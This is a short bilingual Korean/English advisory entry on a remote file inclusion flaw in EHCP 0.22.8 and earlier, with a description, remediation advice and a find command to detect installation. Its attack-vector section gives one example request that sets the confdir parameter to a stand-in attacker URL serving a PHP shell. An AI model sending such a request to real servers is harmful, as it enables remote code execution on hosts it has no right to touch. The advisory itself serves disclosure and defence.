🇰🇷 한글 설명
EHCP 0.22.8 이하 버전의 config/ 디렉토리의 dbutil.bck.php와 dbutil.php에서 confdir 매개변수를 통해 원격 파일 포함(RFI) 취약점이 발생합니다. 공격자는 임의의 PHP 코드를 원격에서 실행할 수 있습니다.
💡 쉬운 설명
EHCP 호스팅 관리 패널의 설정 파일 경로를 조작하면 공격자가 원격에서 악의적인 PHP 코드를 실행할 수 있습니다. 웹 서버의 모든 권한으로 명령어를 실행할 위험이 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Easy Hosting Control Panel for Ubuntu (EHCP) 0.22.8 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the confdir parameter to (1) dbutil.bck.php and (2) dbutil.php in config/.
📍 영향받는 시스템
EHCP (Easy Hosting Control Panel) 0.22.8 및 이전 버전
⚔️ 공격 벡터
confdir 파라미터에 외부 URL을 삽입하여 원격 PHP 파일 실행: /config/dbutil.php?confdir=http://attacker.com/shell.php
🛡️ 대응 방법
EHCP를 최신 버전으로 업그레이드하거나 confdir 파라미터에 대한 입력 검증 및 필터링 추가, 외부 파일 포함 비활성화
🔧 검증 코드
dbutil.bck.php 파일이 발견되면 EHCP가 설치된 상태입니다. 설치된 경우 버전을 확인하여 0.22.8 이하인지 확인해야 합니다.
find / -name 'dbutil.bck.php' 2>/dev/null | head -1 && echo 'EHCP potentially installed' || echo 'Not found'